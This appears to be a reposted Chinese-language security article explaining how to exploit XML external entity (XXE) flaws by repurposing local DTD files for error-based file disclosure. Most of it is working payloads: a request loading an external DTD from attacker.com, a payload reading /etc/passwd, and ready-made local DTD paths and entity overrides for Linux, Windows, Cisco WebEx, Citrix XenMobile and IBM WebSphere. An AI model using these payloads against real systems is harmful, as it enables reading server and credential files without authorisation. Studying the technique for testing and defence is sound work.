溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

怎樣使用本地DTD文件來(lái)利用XXE漏洞實(shí)現(xiàn)任意結(jié)果輸出

發(fā)布時(shí)間:2021-12-18 14:28:16 來(lái)源:億速云 閱讀:169 作者:柒染 欄目:網(wǎng)絡(luò)管理

怎樣使用本地DTD文件來(lái)利用XXE漏洞實(shí)現(xiàn)任意結(jié)果輸出,針對(duì)這個(gè)問(wèn)題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問(wèn)題的小伙伴找到更簡(jiǎn)單易行的方法。

下面我要向大家分享一個(gè)小技巧,即使用本地DTD文件來(lái)利用XXE漏洞從而實(shí)現(xiàn)任意結(jié)果的輸出。

怎樣使用本地DTD文件來(lái)利用XXE漏洞實(shí)現(xiàn)任意結(jié)果輸出

想象一下你有一個(gè)支持外部實(shí)體的XXE,但服務(wù)器的響應(yīng)始終為空。在這種情況下,你有兩種選擇:基于錯(cuò)誤和帶外利用。

以下是基于錯(cuò)誤的示例:

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">%ext;
]>
<message></message>

 ext.dtd 中的內(nèi)容

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &amp#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

看到了嗎?你正在使用外部服務(wù)器進(jìn)行payload的傳遞。如果你和目標(biāo)服務(wù)器之間有防火墻,你可以做什么?答案是什么都做不了!

那么,如果我們將外部DTD文件的內(nèi)容直接放到DOCTYPE標(biāo)簽內(nèi)又會(huì)是什么結(jié)果?會(huì)一直出現(xiàn)一些錯(cuò)誤。

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &amp#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval;
    %error;
]>
<message></message>

外部DTD允許我們?cè)诘诙€(gè)實(shí)體中包含一個(gè)實(shí)體,但它在內(nèi)部DTD中被禁止。

我們可以用內(nèi)部DTD做些什么?

要想在內(nèi)部DTD子集中使用外部DTD語(yǔ)法,你可以在目標(biāo)主機(jī)上強(qiáng)制執(zhí)行本地dtd文件,并在其中重新定義一些參數(shù)實(shí)體引用:

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"><!ENTITY % condition 'aaa)><!ENTITY &amp#x25; file SYSTEM "file:///etc/passwd"><!ENTITY &amp#x25; eval "<!ENTITY &amp#x26;#x25; error SYSTEM &amp#x27;file:///nonexistent/&amp#x25;file;&amp#x27;>">&amp#x25;eval;
        &amp#x25;error;
        <!ELEMENT aa (bb'>%local_dtd;
]>
<message>any text</message>

sip-app_1_0.dtd 中的內(nèi)容

…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…

它起作用是因?yàn)樗蠿ML實(shí)體都是常量,如果定義兩個(gè)具有相同名稱(chēng)的實(shí)體則僅使用第一個(gè)實(shí)體。

如何查找本地dtd文件?

通過(guò)枚舉來(lái)查找文件和目錄應(yīng)該是最簡(jiǎn)單的方法了,以下是一些成功應(yīng)用此技巧的例子:

Linux

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

感謝來(lái)自Positive Technologies的@Mike_n1分享的這條始終存在的Windows DTD文件路徑。

Cisco WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平臺(tái) IBM WebSphere 應(yīng)用

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

關(guān)于怎樣使用本地DTD文件來(lái)利用XXE漏洞實(shí)現(xiàn)任意結(jié)果輸出問(wèn)題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒(méi)有解開(kāi),可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI